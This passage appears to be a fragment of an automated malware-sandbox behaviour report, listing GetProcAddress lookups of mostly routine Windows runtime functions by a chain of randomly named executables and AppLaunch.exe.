"GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00007720) "file.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00007720) "tX4Xf64.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00006500) "tX4Xf64.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00006500) "yh9Qx09.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00007164) "yh9Qx09.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00007164) "mu6rE08.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00006672) "mu6rE08.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00006672) "Lb2xB02.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00007144) "Lb2xB02.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00007144) "nk2xW14.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter DecryptFileA (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter FeClientInitialize (UID: 00000000-00005824) "nk2xW14.exe" called "GetProcAddress" with a parameter DelNodeRunDLL32 (UID: 00000000-00005824) "1BU76bP5.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006512) "1BU76bP5.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00006512) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007048) "AppLaunch.exe" called "GetProcAddress" with a parameter 